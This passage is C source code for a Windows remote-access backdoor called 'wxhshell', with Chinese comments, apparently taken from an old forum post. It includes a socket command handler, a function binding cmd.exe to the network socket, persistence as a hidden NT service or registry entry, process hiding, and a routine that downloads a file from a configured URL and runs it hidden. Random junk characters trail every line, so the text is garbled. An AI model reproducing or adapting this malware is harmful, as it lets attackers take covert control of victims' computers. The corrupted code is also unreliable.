  case '?': { Opf)TAl{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q_fgpjEh/t  
    break; QPLWRZu@  
  } -Wmb M]Z  
  // 安装 re%XaL  
  case 'i': { S]%,g%6i  
    if(Install()) r{d@74  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hTO 2+F*  
    else S9$,.aq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A)!W VT&2A  
    break; TlyBpG=p  
    } 4?@#w>(  
  // 卸载 uSI@Cjp  
  case 'r': { PX^ k;  
    if(Uninstall()) 3  ;F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?hF<}1XH}  
    else ; xw9#.d#D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b@4UR<  
    break; (t&`m[>K  
    } 6rmx{Bt  
  // 显示 wxhshell 所在路径 kk<%VKC  
  case 'p': { $ e L-fg  
    char svExeFile[MAX_PATH]; Yz[Rl ^  
    strcpy(svExeFile,"\n\r"); dVMl;{  
      strcat(svExeFile,ExeFile); I*o6Bn |D  
        send(wsh,svExeFile,strlen(svExeFile),0); !<j4*av:G  
    break; oF+yh!~mM  
    } fX,O9d$  
  // 重启 2P'Vp7f6 Y  
  case 'b': { Z>3~n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Qeda@J  
    if(Boot(REBOOT)) @VOegf+N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5M'cOJ  
    else { 6ZI7V!k  
    closesocket(wsh); cy mC?8<  
    ExitThread(0); gzVZPvTPE  
    } }D)eS |B  
    break; ^9hc`.5N&?  
    } nIBeZof  
  // 关机 8'3&z-  
  case 'd': { E>*b,^J7g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lQ ki58.  
    if(Boot(SHUTDOWN)) U,yZ.1V^:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HES$. a  
    else { 6.45^'t]  
    closesocket(wsh); 1#"wfiW  
    ExitThread(0); rttKj{7E  
    } [D+PDR  
    break; U{l f$  
    } ?XyrG1('  
  // 获取shell RYC%;h  
  case 's': { !U(S?:hvW  
    CmdShell(wsh); N@k' s   
    closesocket(wsh); d72 yu3  
    ExitThread(0); =M@)q y  
    break; " @ ""  
  } s2N'Ip  
  // 退出 +J|LfXgB  
  case 'x': { ?Y\WSI?i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jr2>D=  
    CloseIt(wsh); ~v/` `s  
    break; p*cyW l  
    } UDJ#P9uy  
  // 离开 P*?2+.  
  case 'q': { zTG1 0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p.4Sgeh#  
    closesocket(wsh); G;t< dJ8  
    WSACleanup(); ;VCFDE{K=  
    exit(1); y}U'8*,  
    break; @c8RlW/A  
        } q(s0dkrj  
  } *n@rPr-  
  } ~^Ga?Q_  
8?EKF+.u|  
  // 提示信息 &V &beq4)p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d@Bd*iI<  
}  d*([!!i  
  } }L{GwiDMDl  
g;o5m}  
  return; PDgZb  
} Zmk 9C@  
8h}1t4k  
// shell模块句柄 +W[{UC4b  
int CmdShell(SOCKET sock) .bh 7  
{ NgxJz ]b  
STARTUPINFO si; @frV:%  
ZeroMemory(&si,sizeof(si)); Pa|*Jcr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W Kd:O)J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V%M@zd?u.  
PROCESS_INFORMATION ProcessInfo; ` -f\6r|:)  
char cmdline[]="cmd"; 9a1R"%Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fx^yC.$2  
  return 0; ct(euPU  
} m5?t<H~  
Je'%EJ  
// 自身启动模式 h: z$uG  
int StartFromService(void) TPN1Rnt0`  
{ uAk>VPuuZ  
typedef struct 6k37RpgH  
{ H}usL)0&&  
  DWORD ExitStatus; Fb{HiU9<!  
  DWORD PebBaseAddress; a(`"qS  
  DWORD AffinityMask; R\6dvd  
  DWORD BasePriority; YcSPU(  
  ULONG UniqueProcessId; 9I1i(0q  
  ULONG InheritedFromUniqueProcessId; 56Lt "Z F  
}   PROCESS_BASIC_INFORMATION; _*t75e$-  
[A;0I jKam  
PROCNTQSIP NtQueryInformationProcess; P!&yYR\  
W{}M${6&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?*QL;[n1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sa"!ckh  
[F27i#'I]  
  HANDLE             hProcess; $D*Yhv!/  
  PROCESS_BASIC_INFORMATION pbi; &D7Mv5i0@  
7u%OYt D E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @[ '?AsO  
  if(NULL == hInst ) return 0; E,A9+OKxJ  
`7 Nk;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _tnoq;X[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ge{%B~x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BDi+ *8  
P[,  
  if (!NtQueryInformationProcess) return 0; 4"+v:t)z6{  
cw~-%%/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bg*@N  
  if(!hProcess) return 0; 7z+Ngt' !  
.7Itbp6=R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xwijCFI*  
q:,ck@-4  
  CloseHandle(hProcess); o~'UWU'#  
xI5zP? _v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X/S%0AwZ  
if(hProcess==NULL) return 0; ,Mn?h\  
-D_xA10  
HMODULE hMod; ~/Kqkhq+c  
char procName[255]; ","to  
unsigned long cbNeeded; :1!k*5  
,LDdL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #\O?|bN'q  
*iVv(xXgN  
  CloseHandle(hProcess); 6"o@d8>v  
;.d{$SO  
if(strstr(procName,"services")) return 1; // 以服务启动 -$f$z(h  
`n%8y I%  
  return 0; // 注册表启动 | +aD%'|  
} k NUNh[  
tfd!;`B  
// 主模块 ek0,@Vg9  
int StartWxhshell(LPSTR lpCmdLine) 8wzQr2:  
{ :h<QM$P<  
  SOCKET wsl; n'<F'1SWv  
BOOL val=TRUE; e>_Il']Mb  
  int port=0; lUM-~  
  struct sockaddr_in door; ~qb-uT\(99  
 \.MPjD  
  if(wscfg.ws_autoins) Install(); y6Ea_v  
$7&t`E)qY  
port=atoi(lpCmdLine); T=T1?@2C  
f:/"OCig  
if(port<=0) port=wscfg.ws_port; [gE2;J0*  
#}nDX4jI  
  WSADATA data; GuRJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bqm%@*fZo  
]iH~ 1[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^$J.l+<hy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XbW 1`PH  
  door.sin_family = AF_INET; .^!uazPE0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2@$`xPg  
  door.sin_port = htons(port); [7=?I.\Cr7  
,gn**E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sFonc  
closesocket(wsl); d?1[xv;  
return 1; t p3 !6I6  
} @" BkLF  
|Ht~o(]&&/  
  if(listen(wsl,2) == INVALID_SOCKET) { ]*pro|  
closesocket(wsl); q `^5<  
return 1; 6^hCW`jG  
} a3E.rr;b  
  Wxhshell(wsl); 1<&nHFJ;[  
  WSACleanup(); JI[9c,N  
G}gmkp]z  
return 0; kZHIzU  
`>skcvkm  
} )W$@phY(I  
~mu)Cw  
// 以NT服务方式启动 {&s.*5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jV|/ C  
{ -!pg1w06  
DWORD   status = 0; >Gi* BB  
  DWORD   specificError = 0xfffffff; * odwg$  
{,zn#hU.R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QB#rf='  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #H/suQZN"g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o_&*?k*  
  serviceStatus.dwWin32ExitCode     = 0; ?UV!^w@L:0  
  serviceStatus.dwServiceSpecificExitCode = 0; "2 J2za  
  serviceStatus.dwCheckPoint       = 0; / WJ+e  
  serviceStatus.dwWaitHint       = 0; xBK is\b  
guWX$C-+1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D;WQNlTU  
  if (hServiceStatusHandle==0) return; 56^#x  
b;Uqyc  
status = GetLastError(); %L eZd}v  
  if (status!=NO_ERROR) 8+OcM ;0  
{ !O*uQB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @6:J$B~)u  
    serviceStatus.dwCheckPoint       = 0; $WHmG!)*  
    serviceStatus.dwWaitHint       = 0; Vo:Gp  
    serviceStatus.dwWin32ExitCode     = status; Z2hIoCT  
    serviceStatus.dwServiceSpecificExitCode = specificError; (SGU]@)g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e95@4f^K2  
    return; !_#2$J*s^D  
  } <c$K3  
xRPU GGv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mg76v<mv<  
  serviceStatus.dwCheckPoint       = 0; !Au9C   
  serviceStatus.dwWaitHint       = 0; h!h<!xaclW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qJf=f3  
} 55]E<2't  
m03]SF(#3  
// 处理NT服务事件,比如:启动、停止 Y;OqdO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w*7BiZ{s<  
{ h,%b>JFo  
switch(fdwControl) ~k[q:$T  
{ sJ q^>"|J  
case SERVICE_CONTROL_STOP: l&4+v.zr  
  serviceStatus.dwWin32ExitCode = 0; ?wQaM3 |^:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^t#W?rxp&  
  serviceStatus.dwCheckPoint   = 0; !<I3^q  
  serviceStatus.dwWaitHint     = 0; $MB /j6#j  
  { UOAL7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|i39XV  
  } P]b * hC  
  return; I!OV+utF  
case SERVICE_CONTROL_PAUSE: #Kd^t =k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :M'V**A(  
  break; "ZU CYYre  
case SERVICE_CONTROL_CONTINUE: c[QXc9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b9gezXAcd  
  break; Yl!~w:O!o  
case SERVICE_CONTROL_INTERROGATE: Rx>>0%e.  
  break; DsZBhjCB  
}; pk,]yi,ZF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I"1H]@"=  
} JTn\NSa  
}g\1JSJ%H  
// 标准应用程序主函数 ?rG>SA>o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) quEP"  
{ ?6=u[))M&  
8Q2qroT  
// 获取操作系统版本 ~p0M|  
OsIsNt=GetOsVer(); R<GnPN:c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Y#F"+m.]  
tUPdq0%t[  
  // 从命令行安装 ,-GkP>8f(  
  if(strpbrk(lpCmdLine,"iI")) Install(); C%l+<wpXO  
_R 6+bB$  
  // 下载执行文件 {+V]saYP  
if(wscfg.ws_downexe) { ;&N=t64"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cj6+zJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); yaD_c;  
} HpX ;:/I  
XzBnj7E  
if(!OsIsNt) { |{a`,%mw  
// 如果时win9x,隐藏进程并且设置为注册表启动 >m-VBo  
HideProc(); m\hzQ9  
StartWxhshell(lpCmdLine); L~u@n24  
} WE|-zo  
else 'q_^28rK  
  if(StartFromService()) |\W9$V  
  // 以服务方式启动 x  #Um`  
  StartServiceCtrlDispatcher(DispatchTable); +%%Ef]  
else \(db1zmS~  
  // 普通方式启动 z9B" "ws  
  StartWxhshell(lpCmdLine); ^DW vzfj  
(&)PlIi7  
return 0; 6|Qg=4_FHt  
}
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只看该作者 1 发表于: 2006-10-10
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